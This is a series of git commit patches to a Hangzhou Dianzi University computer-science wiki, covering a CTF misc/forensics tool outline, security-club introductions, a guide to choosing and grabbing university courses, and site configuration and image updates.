摩斯电码 + - 凯撒密码 + - 栅栏密码 + - ROT13 + - 维吉尼亚密码 + +- 计算机常用编码 + - Ascii + - Unicode + - HTML实体编码 +- 其他编码 + - 二维码 + - 条形码 + - Js加密/Jother/JSFuck + - URL编码 + - Hex编码 + - Base大家族 + - MD5、SHA1等类似加密型 + - 与佛论禅 + - 兽音译者 + - ... + +### 隐写 + +- 图片隐写 + - jpg隐写 + - Steghide + - Stegdetect + - Slienteye + - Jhps + - png隐写 + - Stepsolve + - Stepic + - gif隐写 + - 时间 + - 空间 + - bmp隐写 + - LSB +- 音频隐写 + - 频谱 + - 波形 + - LSB + - Tools + - Wav + - Steganography + - steghide + + - Mp3 + - Mp3stego + +- 视频隐写 + - MSU Stego + - TCStego + +- 文档隐写 + - Word + - PDF +- 流量包 + - 协议 + - 传输 + +- 交换数据流 + - NTFS + +- Vmdk + - dsfok-tools + + +### 取证 + +- 图片取证 + - Jpg + - stegdetect + - Png + - Pngcheck + - Tweakpng +- 音频取证 + - Audacity +- 视频取证 + - FFmpeg +- 流量包取证 + - Wireshark + - Tshark + - Pacpfix +- 内存取证 + - Vol +- 磁盘文件取证 + - Ftx +- 文档取证 + - Pdf + - Pdf-parser + - Pdf-crack + - Word +- 压缩包 + - Zip + - Fcrackzip + - Apchpr + - Pkcrack + - Rar + - Rarcrack +- 固件分析 + - binwalk + - sleuthkit + + + + + +`VIDAR{Misc_1s_e4sy_t0_st4rt!!}` diff --git a/6.计算机安全/6.计算机安全.md b/6.计算机安全/6.计算机安全.md index 9264540..c375410 100644 --- a/6.计算机安全/6.计算机安全.md +++ b/6.计算机安全/6.计算机安全.md @@ -1,5 +1,21 @@ # 6.计算机安全 -> 本模块由 Vidar-Team 信息安全协会成员倾情奉献 +> 本模块由 [Vidar-Team](https://vidar.club) 信息安全协会成员倾情奉献,Vidar-Team 成立于2008年9月,其名 Vidar 来源于北欧神话"诸神黄昏"中幸存于难、带领人类重建了家园的神 Víðarr,是由杭州电子科技大学一群热爱信息安全的小伙伴自发成立的技术型团体 ,作为高校战队活跃于各大ctf赛事。 +> +> Vidar-Team 2023 招新 QQ 群: 861507440(仅向校内开放),欢迎对安全感兴趣的小伙伴加入我们! -计算机安全,通俗的讲就是黑客,主要研究计算机领域的攻防技术,主要包括网络安全和二进制安全两大类。现有的 CTF 信息安全竞赛里面还会看到密码学和杂项,以及最近几年新兴的 IoT 安全,人工智能安全等。 + +计算机安全,通俗的讲就是黑客,主要研究计算机领域的攻防技术,主要包括网络安全(Web)和二进制安全(Bin,包含Pwn和Reverse)两大类。现有的 CTF 信息安全竞赛里面还会看到密码学(Crypto)和安全杂项(Misc),以及最近几年新兴的 IoT 安全,人工智能安全等方向。本系列文章会按照CTF的5个方向,Web、Pwn、Reverse、Crypto、Misc来进行介绍。目前引入了HGAME Mini2022我们编写给新生的入门材料,在今年的10月份和寒假,我们也会分别举办HGAME Mini和HGAME这两场CTF,来帮助新生更好的入门安全。 + +下面是一些CTF领域写的不错的入门文章和平台,也可以根据文章内容进行学习~ + +### 入门文章 +CTF-Wiki:https://ctf-wiki.org/ +CTF快速入门手册:https://github.com/ProbiusOfficial/CTF-QuickStart + + +### 刷题平台 +攻防世界: https://adworld.xctf.org.cn/challenges/list +Bugku: https://ctf.bugku.com/ +ctfhub: https://www.ctfhub.com/#/index +NSSCTF: https://www.ctfer.vip/index diff --git a/README.md b/README.md index d7e20f9..5723ff3 100644 --- a/README.md +++ b/README.md @@ -40,7 +40,7 @@ **出一份计算机科学领域的讲义,一起做大家的领路人。** -这份讲义由**zzm**发起,**孵化器**,**SRT,杭电助手**与 **vidar team** 协办。参与讲义制作的有 hdu 的同学,老师,相关领域的大佬,覆盖了人工智能入门、软件开发入门,计算机学习之道与路线等内容。 +这份讲义由**zzm**发起,**孵化器**,**SRT,杭电助手**与 **Vidar-Team** 协办。参与讲义制作的有 hdu 的同学,老师,相关领域的大佬,覆盖了人工智能入门、软件开发入门,计算机学习之道与路线等内容。 zzm花费了一年的时间动员了大伙对讲义进行修缮和完备,不得不说这确实不是一个小的工作,不过在2023年3月,在计院领导的支持下,计算机学院科协成立了。我们将在学院的支持下继续完善这个内容,同时也欢迎大伙加入我们,共同参与到讲义的学习与撰写中来! From 42b0c8660714f4b8cec674fa75c8b49b6bc43f46 Mon Sep 17 00:00:00 2001 From: ek1ng <761042182@qq.com> Date: Thu, 13 Jul 2023 22:29:06 +0800 Subject: [PATCH 18/85] feat: update How to choose the best courses possible --- .../1.13选课原则与抢课技巧 | 36 +++++++++++++++++++ 1 file changed, 36 insertions(+) create mode 100644 1.杭电生存指南/1.13选课原则与抢课技巧 diff --git a/1.杭电生存指南/1.13选课原则与抢课技巧 b/1.杭电生存指南/1.13选课原则与抢课技巧 new file mode 100644 index 0000000..a5769b9 --- /dev/null +++ b/1.杭电生存指南/1.13选课原则与抢课技巧 @@ -0,0 +1,36 @@ +# 选课原则与抢课技巧 + +> author: ek1ng +> 本文编写自2021.07.31,也许有些内容已经过时,请选择性参考。 + +## 选课原则 +### 要选哪些课 +在杭电,学生必须修读完培养计划上所有的课程才能够毕业,因此选课遵循的唯一纲要便是培养计划,一切以培养计划上的要求为准,体育课、通识必修课、通识选修课、专业选修课、专业必修课等等,请注意任何选课尽可能请以培养计划的课程代码为准,若课程代码不同则需要通过课程替代等方式。 +### 为什么要选课 +选课其实是选老师,而选择的选课老师的背后则是课程考核方式、给分高低、成绩占比、课堂签到情况等等。选择正确的老师能够使课堂更加符合你的预期,不论是教学质量还是教学方式亦或期末分数上。 +在讨论之前,必须声明一些学校课程的基本要求,例如学校要求老师采取易班点名的方式,所以除了某些老师以外大多数老师都会采取不定次数的课堂点名以及点教室人头的方式作为考核考勤情况的方式。 +### 学校开什么课 +学校开展体育课(大一大二4学期分别修读不同类别的体育课程4次)、通识选修课(通常各专业需要修读人文类、国际类、科技类学分4、4、2个) +### 选什么课好 +在杭电换客群或者与认识的室友、同学、朋友等等交流开展某课程的某老师教学情况,打听情报以选择合适的老师。此处的情报通常指老师的教学方式如何,采取怎样的签到方式等等。如果曾经上过某老师开展的a课程,那么通常对于他开展的b课程,签到情况和给分情况都仍然能够适用,但是教学情况则未必。 +### 常见问题Q&A +Q1:我该如何安排我这一学期的课程? +A1:尽可能按照培养计划给出的每学期修读建议修读,适当先在大一、大二修读通识选修、体育课以及适量的专业必修专业选修,在大三修读更多的专业课程。当然如果完全打乱培养计划在杭电也是完全允许的,你完全可以在大一、大二修读大三的课程,在大三修读大一的课程,这么做的意义也许是你希望通过修读课程顺序的改变来调整你个人的时间安排,不论如何这是符合学校规章制度的操作,只要你想你就可以这么做。 + +Q2:选课所谓第一轮选课第二轮选课到底是如何进行的? +A2:第一轮选课可以选择的课为体育课、通识选修课(英语拓展课、大学军事、公选课都包括在内)、推荐课表上的课程。第二轮选课可以跨年级跨学院跨专业选课,只要能搜到的课都是可以上的,不过请注意,思修近代史毛概马原形策等课程并不能提前修读。第二轮选课通常进行到开学后3周,在开学前3周,可以通过签课的方式即在授课老师、学院的批准通过下选上自己没有抢到的课,理论上任何课(需要注意公选课、体育课一般无法签课,老师是否同意签课通常看老师的个人情况,学院通常会在老师批准的情况下通过批准)只要经过批准都可以签课成功后出现在课表上。请注意,学分上限为32.5(不包括暑假短学期课程),转专业后学分上限自动扩为40,若非转专业学生可以在绩点3.0以上的情况下开学前3周内提出扩学分请求。 + +Q3:大一上如何选课? +A3:大一上选课的安排在最后时间段,体育被默认选了太极拳,并选不到“好”的公选课专业课等等,不太建议选很多课,选一门新生研讨课或者推荐不选课。 + +## 抢课技巧 +### 选课背景 +2021年上学期的选课中,杭电更换了正方全新的选课平台(http://newjw.hdu.edu.cn/),目前选课平台的特性为,在选课时间内开放至公网ip可以访问,可以并发请求,并不会网页卡崩,抢课全靠手速。 +### 具体技巧 +#### 系统开放前 +通常系统开放前可以查询开课情况,那么可以根据开课情况自己提前规划安排想上的课程。 +#### 系统开放时 +##### 第一轮选课、第二轮选课开放系统时 +提前在粘贴板中剪切/复制第一手要抢的课程,并且在选课平台开放时间前几秒,不停点击刷新,直至选课平台显示的内容不为非选课时间而是可以搜索,粘贴课程名并且点击抢课即可第一手抢到最想抢的课程,再依次抢接下来准备上的课。若课表上已经被系统默认选的课占了想要选的课的位置,那么就需要先退课再选课。 +##### 假期以及开学前三周 +这时候会有同学因为不想选某门课程或者通过将课卡在其他人号上想在假期“转移”到自己号上,选课系统中的课程余量就会时不时出现波动,此时可以上去系统看看说不定能捡漏哦。签课以及扩学分在开学前三周进行,请关注学校通知并且通过签课选上自己没能选上的课程 From 20080c15176dd36bcd57dedc4e902580e20a9c2e Mon Sep 17 00:00:00 2001 From: Plumbiu <3434909403@qq.com> Date: Thu, 13 Jul 2023 23:25:50 +0800 Subject: [PATCH 19/85] docs: typo --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index d7e20f9..f084724 100644 --- a/README.md +++ b/README.md @@ -40,7 +40,7 @@ **出一份计算机科学领域的讲义,一起做大家的领路人。** -这份讲义由**zzm**发起,**孵化器**,**SRT,杭电助手**与 **vidar team** 协办。参与讲义制作的有 hdu 的同学,老师,相关领域的大佬,覆盖了人工智能入门、软件开发入门,计算机学习之道与路线等内容。 +这份讲义由**zzm**发起,**孵化器**,**SRT**,**杭电助手**与 **vidar team** 协办。参与讲义制作的有 hdu 的同学,老师,相关领域的大佬,覆盖了人工智能入门、软件开发入门,计算机学习之道与路线等内容。 zzm花费了一年的时间动员了大伙对讲义进行修缮和完备,不得不说这确实不是一个小的工作,不过在2023年3月,在计院领导的支持下,计算机学院科协成立了。我们将在学院的支持下继续完善这个内容,同时也欢迎大伙加入我们,共同参与到讲义的学习与撰写中来! From 78d57a59c80f0d2bfff53011e8bfcdfec10f4a5a Mon Sep 17 00:00:00 2001 From: Plumbiu <3434909403@qq.com> Date: Thu, 13 Jul 2023 23:50:14 +0800 Subject: [PATCH 20/85] feat: Update embedded system part --- .../5.1嵌入式是什么?可以吃吗?.md | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/5.富有生命的嵌入式/5.1嵌入式是什么?可以吃吗?.md b/5.富有生命的嵌入式/5.1嵌入式是什么?可以吃吗?.md index 59598b9..2c6a5e7 100644 --- a/5.富有生命的嵌入式/5.1嵌入式是什么?可以吃吗?.md +++ b/5.富有生命的嵌入式/5.1嵌入式是什么?可以吃吗?.md @@ -1,6 +1,13 @@ # 嵌入式是什么?可以吃吗? -> Author:肖扬 +Author:肖扬 + +孵化器实验室 2023 招新群(QQ): 879805955 + +预热 OJ 平台:[OJ 平台(C 语言为主)](http://hdufhq.cn/) + +> 实验室不仅有嵌入式方向,还有硬件、网络 web 开发方向! +> # 概念引入与讲解 From 7ffc2bcbc339158393e1c711f26a4f78f7e201d4 Mon Sep 17 00:00:00 2001 From: Plumbiu <3434909403@qq.com> Date: Thu, 13 Jul 2023 23:52:26 +0800 Subject: [PATCH 21/85] feat: Update embedded system part --- .../5.1嵌入式是什么?可以吃吗?.md | 1 - 1 file changed, 1 deletion(-) diff --git a/5.富有生命的嵌入式/5.1嵌入式是什么?可以吃吗?.md b/5.富有生命的嵌入式/5.1嵌入式是什么?可以吃吗?.md index 2c6a5e7..02c9d5e 100644 --- a/5.富有生命的嵌入式/5.1嵌入式是什么?可以吃吗?.md +++ b/5.富有生命的嵌入式/5.1嵌入式是什么?可以吃吗?.md @@ -7,7 +7,6 @@ Author:肖扬 预热 OJ 平台:[OJ 平台(C 语言为主)](http://hdufhq.cn/) > 实验室不仅有嵌入式方向,还有硬件、网络 web 开发方向! -> # 概念引入与讲解 From 5691805c224cde62c68b816ad59f85c7aef3521d Mon Sep 17 00:00:00 2001 From: camera-2018 <2907618001@qq.com> Date: Fri, 14 Jul 2023 01:42:47 +0800 Subject: [PATCH 22/85] =?UTF-8?q?fix:=20=E7=9B=AE=E5=BD=95=E9=94=99?= =?UTF-8?q?=E8=AF=AF?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .vitepress/config.js | 17 +++++++++-------- .../{6.1Web安全 => 6.1Web安全.md} | 0 .../{6.4安全杂项 => 6.4安全杂项.md} | 0 3 files changed, 9 insertions(+), 8 deletions(-) rename 6.计算机安全/{6.1Web安全 => 6.1Web安全.md} (100%) rename 6.计算机安全/{6.4安全杂项 => 6.4安全杂项.md} (100%) diff --git a/.vitepress/config.js b/.vitepress/config.js index 0092851..14a7df9 100644 --- a/.vitepress/config.js +++ b/.vitepress/config.js @@ -579,23 +579,24 @@ export default defineConfig({ items: [ { text: '6.计算机安全', link: '/6.计算机安全/6.计算机安全' }, { - text: '6.2WEB安全', + text: '6.1Web安全', collapsed: true, items: [ - { text: '6.2WEB安全', link: '/6.计算机安全/6.2Web安全' }, - { text: '6.2.1SQL 注入', link: '/6.计算机安全/6.2.1SQL 注入' }, + { text: '6.1Web安全', link: '/6.计算机安全/6.1Web安全' }, + { text: '6.1.1SQL 注入', link: '/6.计算机安全/6.1.1SQL 注入' }, ] }, { - text: '6.3二进制安全', + text: '6.2二进制安全', collapsed: true, items: [ - { text: '6.3二进制安全', link: '/6.计算机安全/6.3二进制安全' }, - { text: '6.3.1基础工具的使用', link: '/6.计算机安全/6.3.1基础工具的使用' }, - { text: '6.3.2软件破解、软件加固', link: '/6.计算机安全/6.3.2软件破解、软件加固' }, + { text: '6.2二进制安全', link: '/6.计算机安全/6.2二进制安全' }, + { text: '6.2.1基础工具的使用', link: '/6.计算机安全/6.2.1基础工具的使用' }, + { text: '6.2.2软件破解、软件加固', link: '/6.计算机安全/6.2.2软件破解、软件加固' }, ] }, - { text: '6.4密码学', link: '/6.计算机安全/6.4密码学' }, + { text: '6.3密码学', link: '/6.计算机安全/6.3密码学' }, + { text: '6.4安全杂项', link: '/6.计算机安全/6.4安全杂项' }, ] }, { diff --git a/6.计算机安全/6.1Web安全 b/6.计算机安全/6.1Web安全.md similarity index 100% rename from 6.计算机安全/6.1Web安全 rename to 6.计算机安全/6.1Web安全.md diff --git a/6.计算机安全/6.4安全杂项 b/6.计算机安全/6.4安全杂项.md similarity index 100% rename from 6.计算机安全/6.4安全杂项 rename to 6.计算机安全/6.4安全杂项.md From 77c646fdd10b46d7e0c616fb0eb812e5a587bd00 Mon Sep 17 00:00:00 2001 From: camera-2018 <2907618001@qq.com> Date: Fri, 14 Jul 2023 01:43:12 +0800 Subject: [PATCH 23/85] =?UTF-8?q?docs:=20=E4=B8=BB=E9=A1=B5=E6=A0=87?= =?UTF-8?q?=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- index.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/index.md b/index.md index d60ac07..442427a 100644 --- a/index.md +++ b/index.md @@ -5,7 +5,7 @@ layout: home hero: name: HDU-CS-WIKI text: HDU计算机科学讲义 - tagline: 正在完善中!如果你有任何建议或者想要完善本 WIKI ,请点击下方的 GitHub 按钮提交 issue 或者 PR ! + tagline: 如果你有一些建议或者想要完善此 WIKI ,请点击下方的 GitHub 按钮提交 issue 或者 PR ! image: src: hdu-cs-wiki.svg alt: HDU-CS-WIKI From 5ab57a223f686d973a15eb32b003173d70c68bdd Mon Sep 17 00:00:00 2001 From: camera-2018 <2907618001@qq.com> Date: Fri, 14 Jul 2023 02:03:50 +0800 Subject: [PATCH 24/85] =?UTF-8?q?docs:=20=E9=80=89=E8=AF=BE?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .vitepress/config.js | 1 + ...巧 => 1.13选课原则与抢课技巧.md} | 26 ++++++++++++++++--- 2 files changed, 23 insertions(+), 4 deletions(-) rename 1.杭电生存指南/{1.13选课原则与抢课技巧 => 1.13选课原则与抢课技巧.md} (82%) diff --git a/.vitepress/config.js b/.vitepress/config.js index 14a7df9..062501a 100644 --- a/.vitepress/config.js +++ b/.vitepress/config.js @@ -130,6 +130,7 @@ export default defineConfig({ { text: '1.10如何读论文', link: '/1.杭电生存指南/1.10如何读论文' }, { text: '1.11陷入虚无主义?进来看看吧', link: '/1.杭电生存指南/1.11陷入虚无主义?进来看看吧' }, { text: '1.12程序员如何活久一点', link: '/1.杭电生存指南/1.12程序员如何活久一点' }, + { text: '1.13选课原则与抢课技巧', link: '/1.杭电生存指南/1.13选课原则与抢课技巧' }, ] }, { diff --git a/1.杭电生存指南/1.13选课原则与抢课技巧 b/1.杭电生存指南/1.13选课原则与抢课技巧.md similarity index 82% rename from 1.杭电生存指南/1.13选课原则与抢课技巧 rename to 1.杭电生存指南/1.13选课原则与抢课技巧.md index a5769b9..969c6fb 100644 --- a/1.杭电生存指南/1.13选课原则与抢课技巧 +++ b/1.杭电生存指南/1.13选课原则与抢课技巧.md @@ -1,6 +1,7 @@ # 选课原则与抢课技巧 > author: ek1ng +> > 本文编写自2021.07.31,也许有些内容已经过时,请选择性参考。 ## 选课原则 @@ -8,29 +9,46 @@ 在杭电,学生必须修读完培养计划上所有的课程才能够毕业,因此选课遵循的唯一纲要便是培养计划,一切以培养计划上的要求为准,体育课、通识必修课、通识选修课、专业选修课、专业必修课等等,请注意任何选课尽可能请以培养计划的课程代码为准,若课程代码不同则需要通过课程替代等方式。 ### 为什么要选课 选课其实是选老师,而选择的选课老师的背后则是课程考核方式、给分高低、成绩占比、课堂签到情况等等。选择正确的老师能够使课堂更加符合你的预期,不论是教学质量还是教学方式亦或期末分数上。 + 在讨论之前,必须声明一些学校课程的基本要求,例如学校要求老师采取易班点名的方式,所以除了某些老师以外大多数老师都会采取不定次数的课堂点名以及点教室人头的方式作为考核考勤情况的方式。 ### 学校开什么课 -学校开展体育课(大一大二4学期分别修读不同类别的体育课程4次)、通识选修课(通常各专业需要修读人文类、国际类、科技类学分4、4、2个) +学校开展体育课(大一大二4学期分别修读不同类别的体育课程4次)、通识选修课 ~~(通常各专业需要修读人文类、国际类、科技类学分4、4、2个)~~ +:::warning +2023年更新:现在是国际类、人文类、艺术类、科技类学分4、2、2、2个(不管怎么变应该加起来都是10分) +::: ### 选什么课好 在杭电换客群或者与认识的室友、同学、朋友等等交流开展某课程的某老师教学情况,打听情报以选择合适的老师。此处的情报通常指老师的教学方式如何,采取怎样的签到方式等等。如果曾经上过某老师开展的a课程,那么通常对于他开展的b课程,签到情况和给分情况都仍然能够适用,但是教学情况则未必。 ### 常见问题Q&A Q1:我该如何安排我这一学期的课程? + A1:尽可能按照培养计划给出的每学期修读建议修读,适当先在大一、大二修读通识选修、体育课以及适量的专业必修专业选修,在大三修读更多的专业课程。当然如果完全打乱培养计划在杭电也是完全允许的,你完全可以在大一、大二修读大三的课程,在大三修读大一的课程,这么做的意义也许是你希望通过修读课程顺序的改变来调整你个人的时间安排,不论如何这是符合学校规章制度的操作,只要你想你就可以这么做。 Q2:选课所谓第一轮选课第二轮选课到底是如何进行的? + A2:第一轮选课可以选择的课为体育课、通识选修课(英语拓展课、大学军事、公选课都包括在内)、推荐课表上的课程。第二轮选课可以跨年级跨学院跨专业选课,只要能搜到的课都是可以上的,不过请注意,思修近代史毛概马原形策等课程并不能提前修读。第二轮选课通常进行到开学后3周,在开学前3周,可以通过签课的方式即在授课老师、学院的批准通过下选上自己没有抢到的课,理论上任何课(需要注意公选课、体育课一般无法签课,老师是否同意签课通常看老师的个人情况,学院通常会在老师批准的情况下通过批准)只要经过批准都可以签课成功后出现在课表上。请注意,学分上限为32.5(不包括暑假短学期课程),转专业后学分上限自动扩为40,若非转专业学生可以在绩点3.0以上的情况下开学前3周内提出扩学分请求。 +:::warning +2023年更新:学分上限好像变高了,但我忘了是多少🤡 +::: Q3:大一上如何选课? + A3:大一上选课的安排在最后时间段,体育被默认选了太极拳,并选不到“好”的公选课专业课等等,不太建议选很多课,选一门新生研讨课或者推荐不选课。 ## 抢课技巧 ### 选课背景 -2021年上学期的选课中,杭电更换了正方全新的选课平台(http://newjw.hdu.edu.cn/),目前选课平台的特性为,在选课时间内开放至公网ip可以访问,可以并发请求,并不会网页卡崩,抢课全靠手速。 -### 具体技巧 +2021年上学期的选课中,杭电更换了正方全新的选课平台http://newjw.hdu.edu.cn ,目前选课平台的特性为,在选课时间内开放至公网ip可以访问,可以并发请求,~~并不会网页卡崩~~,抢课全靠手速。 +:::tip +1. 鉴于杭电复杂的网络环境,在**内网**抢课甚至不如**公网**😅,所以建议在寝室里连上网线(公网)抢课。 + +2. **网页会卡崩**,刚开始选课0~5分钟系统会未响应甚至将你踢出登录,还会让你浏览器爆掉显示 *欧呦,崩溃啦* 之类的字样,一切听天由命。 +::: +## 具体技巧 #### 系统开放前 通常系统开放前可以查询开课情况,那么可以根据开课情况自己提前规划安排想上的课程。 #### 系统开放时 + ##### 第一轮选课、第二轮选课开放系统时 提前在粘贴板中剪切/复制第一手要抢的课程,并且在选课平台开放时间前几秒,不停点击刷新,直至选课平台显示的内容不为非选课时间而是可以搜索,粘贴课程名并且点击抢课即可第一手抢到最想抢的课程,再依次抢接下来准备上的课。若课表上已经被系统默认选的课占了想要选的课的位置,那么就需要先退课再选课。 + ##### 假期以及开学前三周 -这时候会有同学因为不想选某门课程或者通过将课卡在其他人号上想在假期“转移”到自己号上,选课系统中的课程余量就会时不时出现波动,此时可以上去系统看看说不定能捡漏哦。签课以及扩学分在开学前三周进行,请关注学校通知并且通过签课选上自己没能选上的课程 +这时候会有同学因为不想选某门课程或者通过将课卡在其他人号上想在假期“转移”到自己号上,选课系统中的课程余量就会时不时出现波动,此时可以上去系统看看说不定能捡漏哦。签课以及扩学分在开学前三周进行,请关注学校通知并且通过签课选上自己没能选上的课程。 From d94e82606098f863352199e4b78ec5cbb93f5ad7 Mon Sep 17 00:00:00 2001 From: camera-2018 <2907618001@qq.com> Date: Fri, 14 Jul 2023 02:18:01 +0800 Subject: [PATCH 25/85] =?UTF-8?q?docs:=20pic=E7=BE=A4=E5=8F=B7?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 2 +- hdu-cs-qq.jpg | Bin 0 -> 116131 bytes hdu-cs-qq.png | Bin 33058 -> 0 bytes 简介.md | 4 ++-- 4 files changed, 3 insertions(+), 3 deletions(-) create mode 100644 hdu-cs-qq.jpg delete mode 100644 hdu-cs-qq.png diff --git a/README.md b/README.md index ea2a958..a7e2215 100644 --- a/README.md +++ b/README.md @@ -47,7 +47,7 @@ zzm花费了一年的时间动员了大伙对讲义进行修缮和完备,不得不说这确实不是一个小的工作,不过在2023年3月,在计院领导的支持下,计算机学院科协成立了。我们将在学院的支持下继续完善这个内容,同时也欢迎大伙加入我们,共同参与到讲义的学习与撰写中来!
- +

欢迎加群669895692

diff --git a/hdu-cs-qq.jpg b/hdu-cs-qq.jpg new file mode 100644 index 0000000000000000000000000000000000000000..342ddfdf40b03462cf674385c214fea3bbe6f140 GIT binary patch literal 116131 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 